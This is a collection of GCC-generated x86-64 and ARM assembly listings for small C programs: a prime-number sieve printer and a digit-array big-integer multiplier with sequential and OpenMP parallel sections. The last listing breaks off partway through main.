mov eax, DWORD PTR -8[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
lea rax, pl[rip]
mov eax, DWORD PTR [rdx+rax]
mov esi, eax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -8[rbp], 1
.L12:
cmp DWORD PTR -8[rbp], 11
jle .L13
mov edi, 10
call putchar@PLT
add DWORD PTR -12[rbp], 1
.L11:
mov eax, DWORD PTR -16[rbp]
movsx rdx, eax
imul rdx, rdx, 715827883
shr rdx, 32
sar edx
sar eax, 31
mov ecx, eax
mov eax, edx
sub eax, ecx
cmp DWORD PTR -12[rbp], eax
jl .L14
mov DWORD PTR -8[rbp], 0
jmp .L15
.L16:
mov edx, DWORD PTR -12[rbp]
mov eax, edx
add eax, eax
add eax, edx
sal eax, 2
mov edx, eax
mov eax, DWORD PTR -8[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
lea rax, pl[rip]
mov eax, DWORD PTR [rdx+rax]
mov esi, eax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -8[rbp], 1
.L15:
mov ecx, DWORD PTR -16[rbp]
movsx rax, ecx
imul rax, rax, 715827883
shr rax, 32
sar eax
mov esi, ecx
sar esi, 31
sub eax, esi
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
sal eax, 2
sub ecx, eax
mov edx, ecx
cmp DWORD PTR -8[rbp], edx
jl .L16
mov edi, 10
call putchar@PLT
mov eax, 0
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "819015.c"
.text
.comm pl,262144,4
.global __aeabi_idivmod
.section .rodata
.align 2
.LC0:
.ascii "NP %d\012\000"
.align 2
.LC1:
.ascii " %4d,\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
mov r3, #0
str r3, [fp, #-20]
mov r3, #2
str r3, [fp, #-16]
b .L2
.L10:
mov r3, #0
str r3, [fp, #-12]
b .L3
.L7:
ldr r2, .L20
ldr r3, [fp, #-12]
ldr r2, [r2, r3, lsl #2]
ldr r3, [fp, #-16]
mov r1, r2
mov r0, r3
bl __aeabi_idivmod
mov r3, r1
cmp r3, #0
beq .L18
ldr r2, .L20
ldr r3, [fp, #-12]
ldr r3, [r2, r3, lsl #2]
str r3, [fp, #-8]
ldr r3, [fp, #-8]
mov r2, r3
mul r2, r3, r2
mov r3, r2
ldr r2, [fp, #-16]
cmp r2, r3
bge .L6
ldr r3, [fp, #-20]
add r2, r3, #1
str r2, [fp, #-20]
ldr r1, .L20
ldr r2, [fp, #-16]
str r2, [r1, r3, lsl #2]
b .L5
.L6:
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L3:
ldr r2, [fp, #-12]
ldr r3, [fp, #-20]
cmp r2, r3
blt .L7
b .L5
.L18:
nop
.L5:
ldr r2, [fp, #-12]
ldr r3, [fp, #-20]
cmp r2, r3
blt .L19
ldr r3, [fp, #-20]
add r2, r3, #1
str r2, [fp, #-20]
ldr r1, .L20
ldr r2, [fp, #-16]
str r2, [r1, r3, lsl #2]
b .L9
.L19:
nop
.L9:
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L2:
ldr r3, [fp, #-16]
cmp r3, #65536
blt .L10
ldr r1, [fp, #-20]
ldr r0, .L20+4
bl printf
mov r3, #0
str r3, [fp, #-16]
b .L11
.L14:
mov r3, #0
str r3, [fp, #-12]
b .L12
.L13:
ldr r2, [fp, #-16]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #2
mov r2, r3
ldr r3, [fp, #-12]
add r3, r2, r3
ldr r2, .L20
ldr r3, [r2, r3, lsl #2]
mov r1, r3
ldr r0, .L20+8
bl printf
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L12:
ldr r3, [fp, #-12]
cmp r3, #11
ble .L13
mov r0, #10
bl putchar
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L11:
ldr r3, [fp, #-20]
ldr r2, .L20+12
smull r1, r2, r3, r2
asr r2, r2, #1
asr r3, r3, #31
sub r3, r2, r3
ldr r2, [fp, #-16]
cmp r2, r3
blt .L14
mov r3, #0
str r3, [fp, #-12]
b .L15
.L16:
ldr r2, [fp, #-16]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #2
mov r2, r3
ldr r3, [fp, #-12]
add r3, r2, r3
ldr r2, .L20
ldr r3, [r2, r3, lsl #2]
mov r1, r3
ldr r0, .L20+8
bl printf
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L15:
ldr r1, [fp, #-20]
ldr r3, .L20+12
smull r2, r3, r1, r3
asr r2, r3, #1
asr r3, r1, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #2
sub r2, r1, r3
ldr r3, [fp, #-12]
cmp r3, r2
blt .L16
mov r0, #10
bl putchar
mov r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L21:
.align 2
.L20:
.word pl
.word .LC0
.word .LC1
.word 715827883
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "704429.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "overflow in addition!"
.text
.globl add
.type add, @function
add:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov QWORD PTR -40[rbp], rdx
mov DWORD PTR -44[rbp], ecx
mov DWORD PTR -8[rbp], 0
mov DWORD PTR -12[rbp], 0
jmp .L2
.L5:
mov eax, DWORD PTR -12[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -12[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rcx
mov eax, DWORD PTR [rax]
add edx, eax
mov eax, DWORD PTR -8[rbp]
add eax, edx
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], 9
jle .L3
mov DWORD PTR -8[rbp], 1
sub DWORD PTR -4[rbp], 10
jmp .L4
.L3:
mov DWORD PTR -8[rbp], 0
.L4:
mov eax, DWORD PTR -12[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rdx, rax
mov eax, DWORD PTR -4[rbp]
mov DWORD PTR [rdx], eax
add DWORD PTR -12[rbp], 1
.L2:
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -44[rbp]
jl .L5
cmp DWORD PTR -8[rbp], 0
je .L7
lea rdi, .LC0[rip]
call puts@PLT
.L7:
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size add, .-add
.section .rodata
.LC1:
.string "overflow in multiplication!"
.text
.globl multiply_one_digit
.type multiply_one_digit, @function
multiply_one_digit:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -36[rbp], edx
mov DWORD PTR -40[rbp], ecx
mov DWORD PTR -4[rbp], 0
mov DWORD PTR -8[rbp], 0
jmp .L9
.L12:
mov eax, DWORD PTR -8[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -8[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*4]
mov rdx, QWORD PTR -32[rbp]
add rdx, rcx
imul eax, DWORD PTR -36[rbp]
mov DWORD PTR [rdx], eax
mov eax, DWORD PTR -8[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov ecx, DWORD PTR [rax]
mov eax, DWORD PTR -8[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov edx, DWORD PTR -4[rbp]
add edx, ecx
mov DWORD PTR [rax], edx
mov eax, DWORD PTR -8[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov eax, DWORD PTR [rax]
cmp eax, 9
jle .L10
mov eax, DWORD PTR -8[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov eax, DWORD PTR [rax]
movsx rdx, eax
imul rdx, rdx, 1717986919
shr rdx, 32
sar edx, 2
sar eax, 31
mov ecx, eax
mov eax, edx
sub eax, ecx
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -8[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov ecx, DWORD PTR [rax]
mov eax, DWORD PTR -8[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
lea rsi, [rdx+rax]
movsx rax, ecx
imul rax, rax, 1717986919
shr rax, 32
sar eax, 2
mov edi, ecx
sar edi, 31
sub eax, edi
mov edx, eax
mov eax, edx
sal eax, 2
add eax, edx
add eax, eax
sub ecx, eax
mov edx, ecx
mov DWORD PTR [rsi], edx
jmp .L11
.L10:
mov DWORD PTR -4[rbp], 0
.L11:
add DWORD PTR -8[rbp], 1
.L9:
mov eax, DWORD PTR -8[rbp]
cmp eax, DWORD PTR -40[rbp]
jl .L12
cmp DWORD PTR -4[rbp], 0
je .L14
lea rdi, .LC1[rip]
call puts@PLT
.L14:
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size multiply_one_digit, .-multiply_one_digit
.globl shift_left
.type shift_left, @function
shift_left:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov DWORD PTR -32[rbp], edx
mov eax, DWORD PTR -32[rbp]
sub eax, 1
mov DWORD PTR -4[rbp], eax
jmp .L16
.L17:
mov eax, DWORD PTR -4[rbp]
sub eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov edx, DWORD PTR -4[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*4]
mov rdx, QWORD PTR -24[rbp]
add rdx, rcx
mov eax, DWORD PTR [rax]
mov DWORD PTR [rdx], eax
sub DWORD PTR -4[rbp], 1
.L16:
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -28[rbp]
jge .L17
jmp .L18
.L19:
mov eax, DWORD PTR -4[rbp]
lea edx, -1[rax]
mov DWORD PTR -4[rbp], edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov DWORD PTR [rax], 0
.L18:
cmp DWORD PTR -4[rbp], 0
jns .L19
nop
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size shift_left, .-shift_left
.globl multiply
.type multiply, @function
multiply:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 72
.cfi_offset 3, -24
mov QWORD PTR -56[rbp], rdi
mov QWORD PTR -64[rbp], rsi
mov QWORD PTR -72[rbp], rdx
mov DWORD PTR -76[rbp], ecx
mov rax, QWORD PTR fs:40
mov QWORD PTR -24[rbp], rax
xor eax, eax
mov rax, rsp
mov rbx, rax
mov eax, DWORD PTR -76[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -40[rbp], rdx
movsx rdx, eax
mov r10, rdx
mov r11d, 0
movsx rdx, eax
mov r8, rdx
mov r9d, 0
cdqe
lea rdx, 0[0+rax*4]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L21:
cmp rsp, rdx
je .L22
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L21
.L22:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L23
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L23:
mov rax, rsp
add rax, 3
shr rax, 2
sal rax, 2
mov QWORD PTR -32[rbp], rax
mov DWORD PTR -44[rbp], 0
jmp .L24
.L25:
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
mov edx, DWORD PTR [rax]
mov ecx, DWORD PTR -76[rbp]
mov rsi, QWORD PTR -32[rbp]
mov rax, QWORD PTR -64[rbp]
mov rdi, rax
call multiply_one_digit
mov edx, DWORD PTR -76[rbp]
mov ecx, DWORD PTR -44[rbp]
mov rax, QWORD PTR -32[rbp]
mov esi, ecx
mov rdi, rax
call shift_left
mov ecx, DWORD PTR -76[rbp]
mov rdx, QWORD PTR -72[rbp]
mov rsi, QWORD PTR -32[rbp]
mov rax, QWORD PTR -72[rbp]
mov rdi, rax
call add
add DWORD PTR -44[rbp], 1
.L24:
mov eax, DWORD PTR -44[rbp]
cmp eax, DWORD PTR -76[rbp]
jl .L25
mov rsp, rbx
nop
mov rax, QWORD PTR -24[rbp]
sub rax, QWORD PTR fs:40
je .L26
call __stack_chk_fail@PLT
.L26:
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size multiply, .-multiply
.section .rodata
.LC2:
.string "%d\n"
.LC3:
.string "---SECUENCIAL---"
.LC4:
.string "A [ "
.LC5:
.string "%d "
.LC6:
.string "]"
.LC7:
.string "B [ "
.LC8:
.string "]\nC [ "
.LC9:
.string "---PARALELO---"
.LC10:
.string "\nthread %d i %d n %d\n"
.LC11:
.string "Pbefore [ "
.LC12:
.string "\nPJ %d n %d BJ %d\n"
.LC13:
.string "PSH0 [ "
.LC14:
.string "P0 [ "
.LC15:
.string "D [ "
.LC16:
.string "E [ "
.text
.globl main
.type main, @function
main:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 504
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov DWORD PTR -292[rbp], edi
mov QWORD PTR -304[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, rsp
mov QWORD PTR -536[rbp], rax
mov rax, QWORD PTR -304[rbp]
add rax, 8
mov rax, QWORD PTR [rax]
mov rdi, rax
call strlen@PLT
mov DWORD PTR -208[rbp], eax
mov eax, DWORD PTR -208[rbp]
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -304[rbp]
add rax, 16
mov rax, QWORD PTR [rax]
mov rdi, rax
call strlen@PLT
mov DWORD PTR -204[rbp], eax
mov edx, DWORD PTR -208[rbp]
mov eax, DWORD PTR -204[rbp]
add eax, edx
mov DWORD PTR -200[rbp], eax
mov edx, DWORD PTR -200[rbp]
movsx rax, edx
sub rax, 1
mov QWORD PTR -184[rbp], rax
movsx rax, edx
mov r12, rax
mov r13d, 0
movsx rax, edx
mov r14, rax
mov r15d, 0
movsx rax, edx
lea rdx, 0[0+rax*4]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L28:
cmp rsp, rcx
je .L29
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L28
.L29:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L30
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L30:
mov rax, rsp
add rax, 3
shr rax, 2
sal rax, 2
mov QWORD PTR -176[rbp], rax
mov edx, DWORD PTR -200[rbp]
movsx rax, edx
sub rax, 1
mov QWORD PTR -168[rbp], rax
movsx rax, edx
mov QWORD PTR -320[rbp], rax
mov QWORD PTR -312[rbp], 0
movsx rax, edx
mov QWORD PTR -336[rbp], rax
mov QWORD PTR -328[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*4]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L31:
cmp rsp, rcx
je .L32
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L31
.L32:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L33
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L33:
mov rax, rsp
add rax, 3
shr rax, 2
sal rax, 2
mov QWORD PTR -160[rbp], rax
mov edx, DWORD PTR -200[rbp]
movsx rax, edx
sub rax, 1
mov QWORD PTR -152[rbp], rax
movsx rax, edx
mov QWORD PTR -352[rbp], rax
mov QWORD PTR -344[rbp], 0
movsx rax, edx
mov QWORD PTR -368[rbp], rax
mov QWORD PTR -360[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*4]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L34:
cmp rsp, rcx
je .L35
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L34
.L35:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L36
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L36:
mov rax, rsp
add rax, 3
shr rax, 2
sal rax, 2
mov QWORD PTR -144[rbp], rax
mov DWORD PTR -212[rbp], 0
jmp .L37
.L38:
mov rdx, QWORD PTR -176[rbp]
mov eax, DWORD PTR -212[rbp]
cdqe
mov DWORD PTR [rdx+rax*4], 0
mov rdx, QWORD PTR -160[rbp]
mov eax, DWORD PTR -212[rbp]
cdqe
mov DWORD PTR [rdx+rax*4], 0
mov rdx, QWORD PTR -144[rbp]
mov eax, DWORD PTR -212[rbp]
cdqe
mov DWORD PTR [rdx+rax*4], 0
add DWORD PTR -212[rbp], 1
.L37:
mov eax, DWORD PTR -212[rbp]
cmp eax, DWORD PTR -200[rbp]
jl .L38
mov edx, DWORD PTR -208[rbp]
mov rax, rsp
mov r14, rax
movsx rax, edx
sub rax, 1
mov QWORD PTR -136[rbp], rax
movsx rax, edx
mov QWORD PTR -384[rbp], rax
mov QWORD PTR -376[rbp], 0
movsx rax, edx
mov QWORD PTR -400[rbp], rax
mov QWORD PTR -392[rbp], 0
movsx rdx, edx
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L39:
cmp rsp, rcx
je .L40
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L39
.L40:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L41
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L41:
mov rax, rsp
add rax, 0
mov QWORD PTR -128[rbp], rax
mov rax, QWORD PTR -304[rbp]
add rax, 8
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -128[rbp]
mov rsi, rdx
mov rdi, rax
call strcpy@PLT
mov DWORD PTR -216[rbp], 0
jmp .L42
.L43:
mov eax, DWORD PTR -208[rbp]
sub eax, 1
sub eax, DWORD PTR -216[rbp]
mov rdx, QWORD PTR -128[rbp]
cdqe
movzx eax, BYTE PTR [rdx+rax]
movsx eax, al
lea ecx, -48[rax]
mov rdx, QWORD PTR -176[rbp]
mov eax, DWORD PTR -216[rbp]
cdqe
mov DWORD PTR [rdx+rax*4], ecx
add DWORD PTR -216[rbp], 1
.L42:
mov eax, DWORD PTR -216[rbp]
cmp eax, DWORD PTR -208[rbp]
jl .L43
mov edx, DWORD PTR -204[rbp]
mov rax, rsp
mov r13, rax
movsx rax, edx
sub rax, 1
mov QWORD PTR -120[rbp], rax
movsx rax, edx
mov QWORD PTR -416[rbp], rax
mov QWORD PTR -408[rbp], 0
movsx rax, edx
mov QWORD PTR -432[rbp], rax
mov QWORD PTR -424[rbp], 0
movsx rdx, edx
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L44:
cmp rsp, rcx
je .L45
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L44
.L45:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L46
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L46:
mov rax, rsp
add rax, 0
mov QWORD PTR -112[rbp], rax
mov rax, QWORD PTR -304[rbp]
add rax, 16
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -112[rbp]
mov rsi, rdx
mov rdi, rax
call strcpy@PLT
mov DWORD PTR -220[rbp], 0
jmp .L47
.L48:
mov eax, DWORD PTR -204[rbp]
sub eax, 1
sub eax, DWORD PTR -220[rbp]
mov rdx, QWORD PTR -112[rbp]
cdqe
movzx eax, BYTE PTR [rdx+rax]
movsx eax, al
lea ecx, -48[rax]
mov rdx, QWORD PTR -160[rbp]
mov eax, DWORD PTR -220[rbp]
cdqe
mov DWORD PTR [rdx+rax*4], ecx
add DWORD PTR -220[rbp], 1
.L47:
mov eax, DWORD PTR -220[rbp]
cmp eax, DWORD PTR -204[rbp]
jl .L48
mov ecx, DWORD PTR -200[rbp]
mov rdx, QWORD PTR -144[rbp]
mov rsi, QWORD PTR -160[rbp]
mov rax, QWORD PTR -176[rbp]
mov rdi, rax
call multiply
lea rdi, .LC3[rip]
call puts@PLT
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -200[rbp]
sub eax, 1
mov DWORD PTR -224[rbp], eax
jmp .L49
.L50:
mov rdx, QWORD PTR -176[rbp]
mov eax, DWORD PTR -224[rbp]
cdqe
mov eax, DWORD PTR [rdx+rax*4]
mov esi, eax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
sub DWORD PTR -224[rbp], 1
.L49:
cmp DWORD PTR -224[rbp], 0
jns .L50
lea rdi, .LC6[rip]
call puts@PLT
lea rdi, .LC7[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -200[rbp]
sub eax, 1
mov DWORD PTR -228[rbp], eax
jmp .L51
.L52:
mov rdx, QWORD PTR -160[rbp]
mov eax, DWORD PTR -228[rbp]
cdqe
mov eax, DWORD PTR [rdx+rax*4]
mov esi, eax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
sub DWORD PTR -228[rbp], 1
.L51:
cmp DWORD PTR -228[rbp], 0
jns .L52
lea rdi, .LC8[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -200[rbp]
sub eax, 1
mov DWORD PTR -232[rbp], eax
jmp .L53
.L54:
mov rdx, QWORD PTR -144[rbp]
mov eax, DWORD PTR -232[rbp]
cdqe
mov eax, DWORD PTR [rdx+rax*4]
mov esi, eax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
sub DWORD PTR -232[rbp], 1
.L53:
cmp DWORD PTR -232[rbp], 0
jns .L54
lea rdi, .LC6[rip]
call puts@PLT
mov edx, DWORD PTR -200[rbp]
mov rax, rsp
mov r12, rax
movsx rax, edx
sub rax, 1
mov QWORD PTR -104[rbp], rax
movsx rax, edx
mov QWORD PTR -448[rbp], rax
mov QWORD PTR -440[rbp], 0
movsx rax, edx
mov QWORD PTR -464[rbp], rax
mov QWORD PTR -456[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*4]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L55:
cmp rsp, rdx
je .L56
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L55
.L56:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L57
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L57:
mov rax, rsp
add rax, 3
shr rax, 2
sal rax, 2
mov QWORD PTR -96[rbp], rax
mov DWORD PTR -236[rbp], 0
jmp .L58
.L59:
mov rax, QWORD PTR -96[rbp]
mov edx, DWORD PTR -236[rbp]
movsx rdx, edx
mov DWORD PTR [rax+rdx*4], 0
add DWORD PTR -236[rbp], 1
.L58:
mov eax, DWORD PTR -236[rbp]
cmp eax, DWORD PTR -200[rbp]
jl .L59
lea rdi, .LC9[rip]
call puts@PLT
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -200[rbp]
sub eax, 1
mov DWORD PTR -240[rbp], eax
jmp .L60
.L61:
mov rax, QWORD PTR -176[rbp]
mov edx, DWORD PTR -240[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
mov esi, eax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
sub DWORD PTR -240[rbp], 1
.L60:
cmp DWORD PTR -240[rbp], 0
jns .L61
lea rdi, .LC6[rip]
call puts@PLT
lea rdi, .LC7[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -200[rbp]
sub eax, 1
mov DWORD PTR -244[rbp], eax
jmp .L62
.L63:
mov rax, QWORD PTR -160[rbp]
mov edx, DWORD PTR -244[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
mov esi, eax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
sub DWORD PTR -244[rbp], 1
.L62:
cmp DWORD PTR -244[rbp], 0
jns .L63
lea rdi, .LC6[rip]
call puts@PLT
mov edi, 0
call omp_set_dynamic@PLT
mov edi, 4
call omp_set_num_threads@PLT
mov eax, DWORD PTR -200[rbp]
lea edx, 0[0+rax*4]
mov rax, rsp
mov rbx, rax
movsx rax, edx
sub rax, 1
mov QWORD PTR -88[rbp], rax
movsx rax, edx
mov QWORD PTR -480[rbp], rax
mov QWORD PTR -472[rbp], 0
movsx rax, edx
mov QWORD PTR -496[rbp], rax
mov QWORD PTR -488[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*4]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L64:
cmp rsp, rdx
je .L65
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L64
.L65:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L66
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L66:
mov rax, rsp
add rax, 3
shr rax, 2
sal rax, 2
mov QWORD PTR -80[rbp], rax
mov eax, DWORD PTR -200[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -72[rbp], rdx
movsx rdx, eax
mov QWORD PTR -512[rbp], rdx
mov QWORD PTR -504[rbp], 0
movsx rdx, eax
mov QWORD PTR -528[rbp], rdx
mov QWORD PTR -520[rbp], 0
cdqe
lea rdx, 0[0+rax*4]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L67:
cmp rsp, rdx
je .L68
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L67
.L68:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L69
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L69:
mov rax, rsp
add rax, 3
shr rax, 2
sal rax, 2
